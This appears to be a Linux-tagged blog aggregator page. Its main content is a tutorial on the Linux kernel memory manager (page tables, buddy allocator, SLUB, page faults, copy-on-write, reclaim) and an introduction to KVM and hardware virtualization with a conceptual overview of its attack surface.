Roastidio.us Tagged with linux

Google Chrome Offline Installer: Direct Download Links

Thu, 25 Jun 2026 13:57:28 +0000

Google Chrome is the world’s most popular web browser, but installing it isn’t always straightforward, especially when the online installer requires a stable internet connection. That’s where the offline setup file comes in handy. It includes all the files needed to install Chrome without downloading additional data during installation. In this guide, we cover how […]

The post Google Chrome Offline Installer: Direct Download Links appeared first on WebTrickz.

Beware the Cradle

Thu, 25 Jun 2026 06:07:59 +0000

You know, a cradle can be the greatest thing on earth. It can also cost you days. A few days ago, when I was trying to determine just how weak the power supply in my HP Franken-Z, it cost me days. The machine is running Linux Mint Mate edition. When I tried to stick in the NVS video card it couldn’t get powered on far enough to show me the logo screen. Just kept re-booting, … Beware the CradleRead more

The post Beware the Cradle appeared first on Logikal Blog.

Memory Manager | Internals for Interns

Wed, 24 Jun 2026 13:20:27 +0000

In the previous article we looked at how a user program crosses the ring 3 → ring 0 boundary to ask the kernel for help. The example we used was read() — a file descriptor, a buffer pointer, a byte count. But we glossed over something important: what is that buffer? Who decided it existed? Who owns the physical RAM behind it?

Those questions are what the memory manager answers. And it answers them for every process on the machine, simultaneously, for every allocation that has ever happened since boot. It’s one of the most complex subsystems in the kernel, so I want to approach it the way you’d approach an unfamiliar library — start at the front desk with the catalog, then walk back through the stacks.

A Metaphor to Carry Us Through

Here’s the mental model I want you to hold onto: think of memory management as an enormous public library in your town.

The library has one vast collection of physical shelves, and every shelf is identical: one shelf is a page frame — 4 KB of physical RAM. There’s a fixed number of them: on a machine with 16 GB of RAM, about four million shelves, and that’s all you’ll ever have. This is the real, finite, physical stuff.

Now the trick. No reader ever walks the shelves directly. Instead, the reader goes to the library’s service desk and asks for an entry by its number. The desk keeps a private catalog for every reader — a personal set of index cards — and looks yours up to find where the entry really lives. A card says “the thing you call entry #5,000 lives on physical shelf 19.” Two different readers can both have a card numbered #5,000, and those cards can point at completely different shelves — or, sometimes, deliberately at the same shelf.

With that in mind, let’s go from the ground up. We start with the hardware.

The MMU and Page Tables

Remember the service desk: you hand it an entry number, it looks the entry up in your catalog, and it tells you the real shelf the data sits on — and it does this for every single thing you ask for. That desk is real hardware, the MMU (Memory Management Unit), and the catalog it reads is a tree of kernel-managed tables called page tables.

Now the concepts behind the metaphor. Every time an application touches memory — reading a variable, calling a function, fetching a string — it uses a virtual address (the entry number you hand the desk), and that address never reaches the RAM chips directly. The MMU has to translate it into the physical address where the data actually lives, and to do that it walks the process’s page tables. The kernel writes the cards; the MMU reads them, billions of times a second.

But the library has a catalog for every reader — how does the MMU know it’s your application’s catalog it should be reading, and not someone else’s? From the CR3 register. (CR3 is the x86-64 name; other architectures use a different register for the same job — TTBR0_EL1 on ARM64, satp on RISC-V — but the idea is identical.) CR3 holds the physical address of the root of your process’s page table tree — its PGD (Page Global Directory) — and that root is the single thing that points at your exclusive catalog and defines what memory belongs to you. On every context switch, the kernel just reloads CR3 with the next process’s PGD, swapping in a completely different catalog: from that instant the same virtual addresses resolve to entirely different physical memory.

That catalog isn’t one giant flat table — that would be impossibly large. It’s a tree of nested drawers, and on modern x86-64 with 5-level paging the tree is five levels deep: PGD → P4D → PUD → PMD → PTE. (Most x86-64 machines actually run just four levels — PGD → PUD → PMD → PTE, with the P4D folded away — since 5-level paging needs both newer hardware and a kernel built for it; but five is the general case, and the extra level changes nothing about how the walk works.) The clever part is that the virtual address itself tells the MMU which drawer to open at each level. The hardware slices the address into six pieces — one index per level, plus a final offset. Say our process reads from:

Each index is 9 bits — exactly enough to pick one of 512 entries (2⁹ = 512), because every drawer is a single 4 KB page holding 512 entries of 8 bytes (64 bits) each (512 × 8 = 4096). The trailing 12 bits aren’t an index at all; they’re the offset inside the final page (2¹² = 4096, our 4 KB page size).

Now the walk. The MMU starts at the PGD that CR3 points to, uses the first index (5) to pick an entry, and that entry hands it the physical address of the next drawer down. It uses the next index (320) to pick an entry there, which points to the next drawer, and so on, one level at a time:

You might wonder why those entry values look like 0x3A05007 instead of a clean 0x3A05000. Since every drawer is page-aligned, the low 12 bits of any next-drawer address are always zero — so the kernel borrows them to stash a handful of permission bits describing what you’re allowed to do with whatever the entry points to: whether the page is writable, whether it’s actually in RAM right now, whether user-space is allowed to reach it, whether code can be executed from it. That trailing 0x007, for instance, just means present, writable, and user-accessible. These bits are also how memory protection is enforced — a code page leaves the writable bit cleared so you can’t overwrite your own instructions, a stack page is marked no-execute so injected machine code won’t run. (They’re all defined in arch/x86/include/asm/pgtable_types.h.)

The entry at the bottom — the PTE (Page Table Entry) — is the one that finally names a real page frame: 4 KB of physical RAM (one shelf in our library). The MMU takes that frame address and adds the 12-bit offset it set aside at the very start, and that is the physical address it reads from memory — the exact byte our virtual address was pointing at all along:

physical = 0x8E33000 + 0x000 = 0x8E33000

Five lookups to turn one virtual address into one physical address. (The CPU caches recent translations in a small buffer called the TLB so it doesn’t repeat this walk on every access; and the L1/L2/L3 caches keep recently-used data close to the CPU so it doesn’t hit RAM every time. We won’t cover either here.)

Now that we have a physical address, we can go to the right place to fetch the information — but who keeps track of which pages are occupied, which are free, and what hardware rules apply to each? That’s what the physical layer is for.

Shelves, Wings and the Shelf Registry

The library keeps a registry with one entry describing the state of every single shelf. The kernel does exactly this: for every 4 KB page frame in the machine there’s one small record, called a struct page. Conceptually, you can think of those records as a registry indexed by the page’s serial number, its PFN (Page Frame Number): give the kernel a PFN, and it can find the corresponding struct page through its memmap/vmemmap machinery. On a machine with 16 GB of RAM, that’s over four million records.

Each record only holds the essentials the kernel needs to manage that one page. It knows whether the page is free or in use. It keeps a reference count — how many parts of the system are still relying on that page — so the kernel can tell when nobody needs it anymore and it’s safe to reclaim. It remembers what the page is backing, whether that’s a piece of a file’s cached contents or anonymous memory like a process’s heap or stack, and how many page tables are pointing at it, which matters when a page is shared between several processes. And it carries a few status flags: is the page dirty (written to but not yet saved to disk), is it locked, is it being written back right now. That handful of fields, multiplied across all four million pages, is enough for the kernel to track the life of every piece of physical memory in the machine.

One modern wrinkle worth flagging before we move on: the kernel increasingly manages shelves not one at a time but in shrink-wrapped bundles of adjacent ones called folios — a single index card for a whole run of pages, so a larger file chunk or a huge page can be tracked, reclaimed, and moved as one unit instead of page by page. In fact, most of the bookkeeping just described (the reference count, the dirty/locked flags, what the page is backing, its place on the reclaim lists we’ll meet later) lives on the folio now, with struct page itself being slimmed down. We’ll keep saying “page” throughout for clarity, but folio is the word you’ll run into all over current kernel source — just read it as “one or more pages handled together.” We won’t cover it further here.

That registry treats every page the same way, but the hardware underneath doesn’t — some come with strings attached.

Zones: Pages With Special Rules

Not all pages are equally usable by everyone. Picture a delivery courier whose cart only reaches the lowest shelves — anything that courier handles has to be placed down low, never on the upper floors. Physical RAM has the same kind of quirk: some old devices can only do DMA (Direct Memory Access) into the lowest 16 MB of memory, and some 32-bit devices can’t address anything above 4 GB. To keep track of these constraints, the kernel splits RAM into zones — a low zone for those restricted devices, a normal zone where the vast majority of allocations land, and a few special-purpose ones. Most of the time everything comes from the normal zone; the restricted zones only matter when a driver specifically needs low-address memory.

Zones sort pages by what they’re allowed to do; a second dimension matters just as much — where in the machine a page physically sits.

NUMA Nodes: Different Wings, Different Walks

Picture the library spread across several wings. Books in your own wing are a short walk away; fetching one from a distant wing means a long trek down the corridor. On multi-socket machines, RAM is physically attached to different CPU sockets in just this way. A CPU reading from RAM attached to its own socket is fast (local access); reading from another socket’s RAM is slower (remote access). The kernel models this with NUMA (Non-Uniform Memory Access) nodes, each with its own set of zones. That’s why, whenever it can, it tries to satisfy an allocation from the node’s local memory and dodge the remote-access penalty; on a single-socket machine the question doesn’t even come up, since there’s only one node.

Now we know how the pages are organized — so how does the library actually hand them out?

The Buddy Allocator — Reserving Runs of Pages

The librarians don’t just give out one page at a time. They keep their free space organized as runs of adjacent empty pages, and when you ask for space they find a run of the right length — splitting a long run in half when a shorter one will do, and gluing two short runs back together when both come free. That’s the buddy allocator, implemented in mm/page_alloc.c (~7,800 lines). It manages free physical pages in lists grouped by order, where order n means a block of 2ⁿ contiguous pages:

Order 0: 4 KB (1 page)
Order 1: 8 KB (2 pages)
Order 2: 16 KB (4 pages)
…
Order 10: 4 MB (1,024 pages)

When the kernel wants to allocate a 16 KB block (order 2), the buddy allocator looks at the order-2 free list. If there’s a run there, it takes it. If not, it grabs an order-3 block (32 KB), splits it in half — the two halves are buddies, adjacent runs of pages — hands one back, and puts the other on the order-2 list. When the block is later freed, the allocator checks if its buddy is also free; if so, it glues them back into a longer run. This merging keeps large contiguous stretches of memory available for things like huge pages and DMA buffers.

Splitting and gluing runs keeps fragmentation in check, but there’s still one bottleneck left on the fast path: the lock itself.

Per-CPU Caches: Skipping the Lock

The buddy allocator protects its free lists with a zone lock — think of it as needing the head librarian’s key every time you touch the shelf registry. Taking that lock on every single allocation would be a bottleneck in a system with hundreds of CPUs. So each CPU has a small Per-CPU Page cache (PCP) — a personal cache of pre-allocated pages (mostly single pages, plus a few small runs) that the CPU can give out and take back without bothering the head librarian for the common case. The PCP is defined in include/linux/mmzone.h and refills from the buddy allocator in batches when it runs low.

The buddy allocator deals in whole pages, but most of what the kernel needs is far smaller — so the next layer up is built to carve those pages into something finer-grained.

Kernel Allocators — Specialized Drawers

The structures the kernel needs room for are its own small internal records — the bookkeeping it uses to run the system, which lives entirely inside the kernel and never in user space. Handing over an entire 4 KB page for a 64-byte structure is like dedicating a whole shelf to a single sticky note, wasting 4,032 bytes. The answer is a slab allocator: a slab is a page (or a few pages) grabbed once from the buddy allocator and dedicated to objects of one single size, lined up side by side like books of equal height on a shelf. A request for a 64-byte object simply hands back the next free spot instead of burning a whole page on it — one shelf, many identical books.

SLUB: The Default Kernel Object Allocator

Linux uses SLUB (implemented in mm/slub.c) as its default slab allocator. To organize all this, SLUB groups slabs into caches: a cache is the whole set of slabs dedicated to one kind of book — objects of a single specific size, like a task_struct or an inode. So there’s a cache for task_structs, another for inodes, and so on for every kind of structure; each one manages its own collection of slabs.

When you call kmalloc(size, GFP_KERNEL), SLUB rounds the request up to one of a handful of size classes (8, 16, 32, 64, 96, 128, … bytes) and goes to the cache for that class. And here’s the key detail: each cache keeps a small per-CPU stash of free objects. So when your code asks for a 64-byte object, the CPU it’s running on can usually take the next one straight from its own stash without touching a shared global list. Only when that stash runs empty does SLUB take the slow path, refilling it from the cache’s slabs — and grabbing a fresh slab (a new page with room for more objects) from the buddy allocator when those run out too. (In kernel code this per-CPU layer is called sheaves, backed by a per-NUMA-node structure called a barn that shuffles objects between CPUs as some run low and others pile up. Don’t worry about the names; the point is the idea: each CPU pulls from its own stash, so in the common case nobody has to compete for a shared global resource.)

If this sounds familiar, it’s because it’s similar to the trick the Go runtime’s allocator uses. Go gives every P (its scheduling processor) a private mcache holding one mspan per size class, each span carved into fixed-size slots — so a goroutine can grab small objects without ever touching a global lock. Same idea, different runtime; I went through it in detail in The Memory Allocator .

SLUB tackles objects smaller than a page. The opposite problem — needing a buffer bigger than any contiguous run the buddy allocator can spare — calls for a different trick.

vmalloc: When Physical Contiguity Isn’t Needed

The buddy allocator hands out physically contiguous runs of pages. For large allocations this gets harder and harder as memory fragments over time. But sometimes you just need a big buffer and don’t care whether the backing pages are next to each other in physical memory.

That’s what vmalloc() is for (mm/vmalloc.c). It grabs individual pages from the buddy allocator wherever they happen to be free, then sets up a run of consecutive page-table entries that point at those scattered pages. The pages are spread all over the building, but to the code using the buffer it looks like one unbroken range.

The downside: if what you really need, for hardware reasons, is a single physically contiguous block of memory (a DMA buffer, say), this won’t do.

Buddy, SLUB and vmalloc are all about the kernel feeding its own appetite for memory. A user-space process gets its memory through a different layer entirely — one built on top of everything we’ve seen.

Virtual Memory for Processes — The Address Space and Its Regions

Here’s the key idea. The page tables we saw earlier only record what’s actually mapped at this instant. But a process’s address space is mostly promises: huge ranges of addresses the process is allowed to use, but that aren’t backed by any physical memory yet. The page tables can’t represent those promises, so the kernel keeps a separate, higher-level picture of what each process’s memory is supposed to look like.

That picture starts with one record per process, its mm_struct — the single master description of that process’s entire view of memory. It points at the process’s page tables and tracks the broad layout, but mostly it’s a container for the regions the address space is divided into.

Those regions are where the real detail lives. Each one is a VMA (Virtual Memory Area) (struct vm_area_struct): a contiguous range of addresses that all share the same rules. For our purposes, the important pieces of a VMA are the range of addresses it covers, the permissions on that range (read, write, execute, and whether it’s shared), and what’s behind it: a specific file it was mapped from, or nothing at all, in which case it’s anonymous memory like the heap or the stack. A typical process is just a handful of these stitched together — one for its code, one for its data, one for the heap, one for the stack, and more for each shared library or mapped file. You can list them for any running process with /proc/<pid>/maps.

But a VMA is still just a promise — a labeled range with rules and nothing behind it. The moment a process actually reaches into one of those addresses, that promise has to be turned into real memory, and that’s the job of the page fault.

Page Faults — The Librarian Who Fetches on Demand

When you call malloc() and the C library asks the kernel for memory, the kernel usually hands back a virtual address range without allocating any physical pages yet. The address range exists, but no page is shelved and nothing in the page tables points anywhere yet.

The first time your code actually reads or writes that memory, the CPU tries to translate the address, finds nothing in the page tables for it, and raises a #PF (page fault) exception — the reader has opened an entry with no book behind it. This is the bell that summons the librarian: the CPU jumps into the kernel’s fault handler (handle_page_fault()).

The handler’s job is to figure out what should be at that address and make it so. First it finds the VMA covering the faulting address. If there isn’t one, or the access breaks the VMA’s permissions (writing to read-only memory, say), that’s a genuine bug and the process gets a SIGSEGV. Otherwise the kernel looks at what’s missing and reacts accordingly: if nothing was ever mapped there, it provides a fresh blank page — or, for a file-backed region, reads the right chunk of the file in. (There’s one neat shortcut: the very first access to anonymous memory is often a read, and a read of a page that should just be zeros doesn’t need its own allocation at all — the kernel points it at a single shared, read-only zero page, and only allocates a real page once you actually write.)

This lazy approach — demand paging — is why a process that allocates 1 GB but only uses 10 MB doesn’t consume 1 GB of RAM. The kernel only builds what the process actually touches.

Demand paging keeps a fresh allocation cheap. A closely related trick keeps copying an entire address space cheap too.

Copy-on-Write: Photocopy When You Annotate

When a process calls fork(), the child gets its own address space that starts as an exact copy of the parent’s. Actually copying all that memory would be slow and wasteful. It’d be like photocopying every book a reader owns just so a second reader can have a set they’ll probably never write in.

So the kernel cheats. With Copy-on-Write (CoW), parent and child simply share the same physical pages, but every writable private page is marked read-only in both. As long as both only ever read, nothing else has to happen — they read the same books side by side.

The trick springs the moment either one tries to write. The CPU faults on the read-only page, and only then does the kernel make a private copy: it grabs a fresh page, copies the contents across, and repoints that process’s page-table entry at the new, writable version. The other process keeps using the original, undisturbed. Each side ends up with its own copy of only the pages it actually changed.

Demand paging and copy-on-write are both about filling in a region that already exists. But all along we’ve taken those regions for granted — so let’s back up and see how one gets created in the first place.

mmap — Claiming a Range of Addresses

So where do VMAs actually come from? Most of them come from mmap(). You can think of mmap() as the call that says “give me a region of address space, and remember what it’s for” — and what it produces, under the hood, is a new VMA. The work happens in do_mmap().

The kernel doesn’t have to do much here. It rounds your requested size up to a whole number of pages, turns the protections you asked for (PROT_READ, PROT_WRITE, PROT_EXEC) into the new region’s permissions, and finds a free gap in the address space big enough to hold it. Then it creates the VMA describing that range and adds it to the process’s set of regions. If you’re mapping a file, it also notes which file backs the region, so that a later page fault knows where to fetch the contents from.

And for an ordinary lazy mapping, that’s it — mmap() returns. Notice what didn’t happen: no physical memory was handed out and no page tables were filled in. All mmap() did was reserve a range of addresses and write down the rules for it. The actual pages show up later, one page fault at a time, the first time you touch them. Some mappings ask the kernel to do more up front — MAP_POPULATE, locked mappings, huge pages, and some device mappings are examples — but lazy mappings are the normal case to keep in mind.

This is also, indirectly, how malloc() works. When the C library needs more room, it asks the kernel for raw address space — either with brk(), which simply moves the top of the heap, or with an anonymous mmap() — and then hands out small pieces of that range to your program on its own. From the kernel’s point of view there’s no such thing as malloc: there’s just a request for address space, followed by page faults as the program starts using it.

Every mechanism so far has been about handing memory out — reserving ranges, faulting pages in, sharing them between processes. Eventually, though, the machine runs out of room, and the kernel has to start taking pages back.

Memory Pressure: When the Shelves Fill Up

The shelves are finite, so sooner or later they fill up. When that happens, the library does what a real library does with books nobody has opened in years: it boxes them up and ships them to an off-site annex, freeing the shelf for something people actually want. The annex is swap — disk space the kernel keeps around as overflow — and the worker running the operation is kswapd, a kernel thread that wakes up whenever free memory runs low and quietly reclaims pages until there’s breathing room again.

So how does kswapd decide which books to box up? It goes after the coldest ones — pages nobody has touched in a while. To keep track of which those are, the kernel files pages on LRU (Least Recently Used) lists: an active list for pages in regular use, and an inactive list for pages that have gone cold. A page that stops being touched slowly drifts from active to inactive, and the inactive list is exactly where kswapd goes shopping for things to evict. (It keeps separate lists for anonymous memory and for file-backed page-cache pages, since the two are reclaimed in different ways. The kernel can also be built to use Multi-Gen LRU, which sorts pages into several finer-grained generations by age, but the goal is the same: find the coldest pages.)

Once kswapd picks a cold page, what happens next depends on what kind of page it is:

A clean file-backed page — just drop it. The original is still sitting on disk, so it can be read back later if anyone needs it.
A dirty file-backed page — write the changes back to disk first, then drop it.
An anonymous page (heap or stack — nothing on disk to fall back on) — ship it off to the annex: write it out to swap, leave a note in the page-table entry saying “this one’s at the annex,” and free the page.

Later, if a process reaches for a page that got shipped off to swap, it simply faults. The librarian spots the “at the annex” note, do_swap_page() fetches the page back from disk, and the program carries on none the wiser — just a little slower for that one access.

And if even swap fills up and there’s truly nothing left to reclaim? The library’s last resort is to throw a reader out completely. That’s the OOM (Out-Of-Memory) killer (mm/oom_kill.c): it looks over the killable processes, scores them mostly by memory footprint while respecting policy knobs like oom_score_adj, and kills the worst candidate. It’s brutal, but losing one process beats the whole machine locking up.

That’s the kernel reclaiming memory under duress. Most of the time, though, memory is handed back far more peacefully — by the programs that asked for it in the first place.

Freeing Memory: Returning Pages to the Pool

Here’s the surprise: calling free() usually doesn’t return anything to the kernel — the C library just keeps it in its own free-list to reuse for your next malloc().

Pages only really go back when a whole region is torn down (a munmap(), or the process exiting). Even then, a page is freed only once the last user lets go — its reference count hits zero — because copy-on-write and shared mappings mean several processes can point at the same page. When that count reaches zero, the page returns to the buddy allocator, ready to be handed out again.

That’s every piece of the machine on its own. The best way to make them stick is to watch them work together — so let’s trace, step by step, what happens behind a few ordinary lines of C.

End-to-End: From `malloc()` to First Write

We’ll start with the simplest thing of all: allocate some memory and write to it.

malloc(4096). Remember that malloc lives in the C library, not the kernel. If the C library already has spare space in its own heap, it may not call the kernel at all. But when it does need more room, it asks the kernel for raw address space (with brk() or mmap()), and the normal response is cheap: the kernel extends or adds an anonymous VMA — a promise covering that range of addresses. No physical memory is touched yet. So when malloc hands back buf, the address is valid but may have nothing behind it: no page-table entry, no physical page.

buf[0] = 'A'. Now you write, and that’s when the promise gets cashed in. The CPU asks the MMU to translate the address, the MMU walks the page tables, finds no entry there — and raises a page fault. That rings the bell for the librarian: the fault handler finds the VMA covering the address, confirms it’s writable, and sees this is a fresh anonymous page that needs filling in. So it grabs a free page from the buddy allocator, often through the per-CPU cache, wipes it clean, and installs a page-table entry pointing at it.

The faulting instruction restarts, and this time the translation succeeds — 'A' lands on the shelf. Every later access to that page sails straight through the TLB and costs nothing extra. That’s demand paging: the page was just a promise until the exact moment you touched it.

Allocating and writing is the simple case. It gets more interesting when a process forks and parent and child end up sharing memory.

End-to-End: `fork()` and Copy-on-Write

When fork() is called, the child gets a copy of the parent’s address space — but, as we saw, the kernel doesn’t actually copy the memory. Instead it points the child’s page tables at the same physical pages the parent is using, and marks every writable private page read-only in both. As long as both processes only read, they share the same books happily, with no faults at all.

The moment the child writes, the trap springs. buf[0] = 'B' lands on a read-only page, so the CPU raises a protection fault. The librarian recognizes this as copy-on-write: it grabs a fresh page from the buddy allocator, photocopies the parent’s page into it (still holding 'A'), repoints the child’s page-table entry at the copy, and makes it writable again. It also drops one reference on the original, since the parent still holds it.

Now each side has its own page — the parent’s untouched with 'A', the child’s a private copy with 'B'. Only the single page that was actually written ever got duplicated.

Anonymous memory is only half the story. Mapping a file into the address space runs the same machinery with one twist: where the page comes from.

End-to-End: `mmap()` a File

With an ordinary lazy file mapping, mmap() does almost nothing up front, just like malloc. The kernel creates a VMA for the range — but this time it labels it with which file backs it: “the books here come from data.bin.” The address p comes back right away, with no I/O and no page allocated yet.

The first read, p[0], faults — the same bell as always. The only difference is what the librarian does about it. Instead of handing back a blank page, it sees the VMA is file-backed and fetches the right page from the file: it reads it from the page cache (the kernel’s in-memory copy of recently-used file data), or from disk if it isn’t cached yet. That page gets wired into a page-table entry, and the read completes.

What happens on a write depends on how you mapped the file, assuming the mapping was created with PROT_WRITE. With MAP_PRIVATE the page starts out protected from direct modification, so writing to it triggers a copy-on-write fault — the page is photocopied to a private page and your change goes to the copy, leaving the file untouched. With MAP_SHARED, writes land directly in the page cache, and the kernel writes those dirty pages back to the file later on.

With those three traces, we’ve watched every piece of the machine work together. Here’s the whole picture in one place.

Summary

Let’s put the library back together. Every address a program uses is virtual, and the MMU translates it on every access by walking the process’s page tables (up to five levels, rooted at CR3), with hot translations cached in the TLB. Underneath, each 4 KB page has a struct page record; pages are sorted into zones and NUMA nodes, and the buddy allocator hands them out in power-of-two runs, fronted by a per-CPU cache that avoids the zone lock in the common case. On top of it, the kernel’s own allocators carve pages up further — SLUB lines a page with same-sized objects (one shelf, many identical books) for its tiny internal structures, while vmalloc stitches scattered pages into one contiguous virtual range.

User space gets its own view: an mm_struct with a tree of VMAs, each a labeled range of addresses. VMAs are just promises, though — real pages appear only when the program touches an address and trips a page fault, where the librarian provides a blank page, reads one from a file, or photocopies a shared one (copy-on-write). This demand paging is what lets a process reserve gigabytes while consuming only what it touches. Memory flows back the same way: under pressure kswapd ages pages through LRU lists and reclaims the coldest ones, dropping file-cache pages or pushing anonymous pages to swap, with the OOM killer as last resort; otherwise a page returns to the buddy allocator once its region is gone and its last reference drops.

That’s the memory manager: one mechanism giving every process its own private, lazily-filled view of a finite pile of physical RAM. The next article turns to the part of the kernel that decides who gets to run, and when — the scheduler.

Exploring NVIDIA Linux Drivers Internals Basics & IOCTLs

Tue, 23 Jun 2026 21:58:27 +0000

Exploring Linux & NVIDIA Drivers NVIDIA Linux Drivers Internals Basics Introduction In this post we will talk about nvidia’s open source linux drivers internals and basic concepts. Back in 2022, NVIDIA released its drivers as open source, and for the security and tech community in general, this is good news; this allows us to understand...

Introduction To KVM & Hardware Virtualization

Tue, 23 Jun 2026 21:58:27 +0000

Virtualization has become a huge part in production environments, in traditional IT or in the cloud, improving security, development cycles and maintenance. This technology is the cornerstone that allows us to build isolated sandboxes, drastically shorten the time it takes to provision new servers, and perform hardware maintenance with zero downtime through live migration. It also creates a whole new attack surface, that we’ll be introducing in this post.

At the heart of this capability lies the hypervisor, the software that creates and manages virtual machines. In the vast ecosystem powered by Linux, one solution stands out for its deep integration and performance: KVM. As a core feature of the Linux kernel itself, KVM effectively turns the operating system into a powerful, native hypervisor, establishing it as a foundational building block for a majority of today’s cloud platforms and virtualized data centers.

Hypervisors and their different types

A hypervisor, or Virtual Machine Monitor (VMM), is the software that creates and runs virtual machines. There are two main types of hypervisors:

Type 1 (Bare-Metal) Hypervisors: These run directly on the host’s hardware, acting as a lightweight operating system. They have direct access to the system’s resources and are generally more performant and secure. Examples include VMware ESXi, and Microsoft Hyper-V.
Type 2 (Hosted) Hypervisors: These run as an application on top of a conventional operating system. They are easier to set up and manage but introduce more overhead as they have to go through the host OS to access the hardware. Examples include VMware Workstation, Oracle VirtualBox, and QEMU.

Two types of Hypervisors, from Saferwall blog

These two categories are not really well defined : KVM, being a part of the Linux Kernel, is kind of in-between the two, so a sort of type 1 and a half hypervisor. Also note that VMware Workstation and VirtualBox also push modules into the kernel, so they could be considered one and three quarter type hypervisors.

A Brief View of Virtualization techniques

1- Full Binary Emulation

Full Binary Emulation is a powerful virtualization method that allows a host system to run a completely unmodified guest operating system, even one from a different CPU architecture.

The process is called Binary Translation (BT), where the emulator dynamically translates blocks of guest machine code (e.g., ARM) into instructions the host CPU (e.g., x86-64) can execute. This technique offers a strong security advantage: the entire guest environment runs inside a single, unprivileged userspace process on the host. Its main drawback behind its slowness.

Its ability to run cross-architecture code remains its defining feature. This technology is central to modern tools like QEMU, which uses its TCG IR (Intermediate Representation) for this translation.

QEMU TCG Diagram from curiouslearnerblog

2- Paravirtualization

To overcome the performance limitations of full emulation, paravirtualization was introduced.

This technique requires modifying the guest operating system’s kernel to make it aware that it is running in a virtualized environment. By doing so, the guest can directly communicate with the hypervisor, eliminating the need for complex emulation of hardware devices. VirtIO is a standard for paravirtualized devices, providing a set of common features for network, block, and other devices. vhost is a kernel-level backend for VirtIO that further improves performance by moving the virtio backend into the guest kernel. You can dive deeper into paravirtualization with this RedHat article.

VirtIO blogpost from RedHat

3- Hardware Virtualization

The real game-changer for virtualization was the introduction of hardware support from CPU vendors.

The idea is to move security boundaries from software to the CPU itself (hence hardware-assisted virtualization), to enable the guest to run on the CPU itself, achieving near native speeds. The hypervisor’s role is reduced to managing the virtual machines and providing them with access to the physical hardware.

Intel’s VT (technical name VMX) and AMD’s AMD-V (technical names SVM/SEV) are sets of x86 processor extensions that enable the secure hardware-assisted emulation. ARM also provides virtualization extensions in its architecture. This technology significantly improves performance and allows for the virtualization of unmodified operating systems, including proprietary ones like Windows.

The introduction of additional hardware features, such as the IOMMU or TDP (generic term for two-dimensional paging, or nested paging, EDP for Intel, NPT for AMD), further enhanced the near-native performances.

Harware virtualization overview

Note : This section evokes CPU features such as MSRs, MMIO, APICs. If you are not familiar and would like to read on these topics, you may enjoy Ayoub Faouzi’s CPU Internals.

Let’s give a generic overview of how the VM running loop works on the hardware side. Although the vocabulary I’ll be using might change depending on implementation (AMD, Intel, ARM), the ideas pretty much stay the same.

The kernel (Virtualization instructions are privileged) asks the CPU to run a VM. This is done by providing beforehand the data needed to run the VM.

The CPU performs a “VMENTER”, and the VM runs on the raw CPU, but in its own “world” (different address space, etc), until it tries to execute an instruction that could break a security bundary (accessing a non-existing address, changing an MSR, addressing MMIO/PIO, etc).

When such an event happens, the CPU performs a VMEXIT and returns to the hypervisor, providing it with the VMEXIT reason and additional data. The hypervisor is charged to solve this exception anyway how it would see fit (emulate the instruction, pass the MMIO access to QEMU to let it emulate a network card, create a new address range for the VM, etc).

When the exception has been resolved, another VMENTER can be performed, resuming the VM execution, the exception having been transparently solved. To the VM, it seems nothing happened, and the instruction was correctly executed.

Getting into x86 & AMD’s SVM specifics

So far, we have been largely architecture-independent.. We will now dive into the x86 AMD implementation (although Intel’s is pretty close to AMD’s).

AMD’s AMD-V extension provides several instructions to work with virtualization. Amongst them is VMRUN, the instruction which performs the VMENTER. It expects in RAX the physical address of the VMCB, a 0x1000-byte structure that holds the configuration of the VM, created by the hypervisor (Intel doesn’t have such a struct, rather uses VMREAD/VMWRITE instructions to deal with this configuration in a blackbox way)

A piece of the VMCB, as defined in arch/x86/include/asm/svm.h

In the VMCB, notable fields are :

Intercept vectors : tell the CPU wether a specific instruction must be intercepted and result in a VMEXIT
Exit infos : filled by the CPU on VMEXIT to inform the hypervisor of the causes of the VMEXIT
VM registers : the registers of the vCPU, updated upon VMEXIT by the CPU

SVM (Secure Virtual Machine, the technical name of AMD-V) also provides MSRs (Model Specific Registers) to configure the extension. Among them, a bit in EFER controls the activation of the virtualization extension, or the VM_HSAVE_PA MSR which (AMD Manual)

holds the physical address of a 4KB block of memory where VMRUN saves host state, and from which #VMEXIT reloads host state. The VMM software is expected to set up this register before issuing the first VMRUN instruction.

If you want more detail about the VMCB layout, to explore more in depth the technology, you can find it in the AMD64 Manual, Vol. 2 under Appendix B VMCB Layout.

Note : if you’d rather dive into Intel’s implementation, you can check out daax’s 5 Days to Virtualization: A Series on Hypervisor Development

The Linux Hypervisor : KVM

KVM (stands for Kernel Virtual Machines) is the Linux kernel hypervisor, meaning integrated in the Linux kernel. It does not however run the host Linux kernel, as Hyper-V VBS does for Windows.

As it is used in the AWS & Google Cloud architectures, and has a very unique attack surface mixing software and hardware, KVM is a very important target to properly secure.

Google for instance is very keen on securing it, providing the kvmCTF with a $250,000 reward for a full x86 Intel escape. They are also doing hardening – 7 ways we harden our KVM hypervisor at Google Cloud – and security research on KVM (Felix Wilhelm’s An EPYC escape: Case-study of a KVM breakout).

Specificity

KVM as a hypervisor is specific in the sense that it only provides an API to create VMs. It does not work out of the box, it needs a userland process to manage the VMs (VMM). That’s why you’ll often find KVM in your favorite VMM under the “accelerator” option.

KVM VM Running Loop

With Qemu as the VMM, it’s traditionally called Qemu/KVM, with the option -cpu host -enable-kvm, and replaces TCG. It can also be used with libvirt or as an accelerator for VirtualBox. Cloud providers tend to avoid using Qemu/KVM because of its overhead and huge attack surface with its emulated devices. Amazon for instance developed Firecracker for efficient and safe microVM management.

KVM exposes to userland a set of IOCTLs to create and manage virtual machines. Its role is only to manage the emulation features that require hardware privileged access, and act as a bridge between the VMs and the userland VMM.

Attack surface

As with any software, analyzing and reducing the attack surface is paramount to its security. Being “only” an API to create VMs, and not handling hardware emulation or the likes (copy-paste, etc), KVM attack surface is quite small, specific and interesting.

The threat-model for hypervisor generically considers that the attacker controls the guest kernel (by being root or exploiting an LPE). It asks : Can the attacker take control of the Host from the Guest kernel (VM Escape) ?

The usual approach to this is exploiting QEMU (the VMM) vulnerabilities, resulting in a host userland takeover. As I’ve said, AWS have been reducing this surface by creating Firecracker (notably in Rust – but not bug-proof, see this chompie article). However, KVM per se residing in the kernel, a successful KVM exploitation would result in host kernel exploitation.

The VM is allowed to run free, unless a VMEXIT is triggered. When this happens, KVM must react to it to allow the VM to run seamlessly. The attack surface is then all the actions the guest (kernel) could take that would result in a VMEXIT and KVM logic being triggered.

